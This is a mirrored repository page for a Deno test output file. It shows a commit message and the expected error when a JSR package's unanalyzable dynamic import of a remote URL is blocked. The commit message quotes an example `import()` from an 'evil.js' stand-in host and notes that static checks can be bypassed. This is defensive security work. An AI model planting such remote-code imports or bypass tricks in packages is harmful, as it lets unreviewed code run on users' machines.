foster/denoland-deno
1
0
Fork 0
mirror of https://github.com/denoland/deno.git synced 2024-11-28 16:20:57 -05:00
Code Issues Packages 1 Wiki Activity
denoland-deno/tests/specs/jsr/import_https_url/nonanalyzable.out

8 lines
510 B
Text
Raw Normal View History

fix(jsr): do not allow importing a non-JSR url via unanalyzable dynamic import from JSR (#22623) A security feature of JSR is that it is self contained other than npm dependencies. At publish time, the registry rejects packages that write code like this: ```ts const data = await import("https://example.com/evil.js"); ``` However, this can be trivially bypassed by writing code that the registry cannot statically analyze for. This PR prevents Deno from loading dynamic imports that do this.
2024-02-28 16:30:45 -05:00
Download http://127.0.0.1:4250/@denotest/import-https-url/meta.json
Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0_meta.json
Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/unanalyzable.ts
error: Uncaught (in promise) TypeError: Importing http://localhost:4545/welcome.ts blocked. JSR packages cannot import non-JSR remote modules for security reasons.
await import(nonAnalyzableUrl());
^
at async http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/unanalyzable.ts:5:1
Copy permalink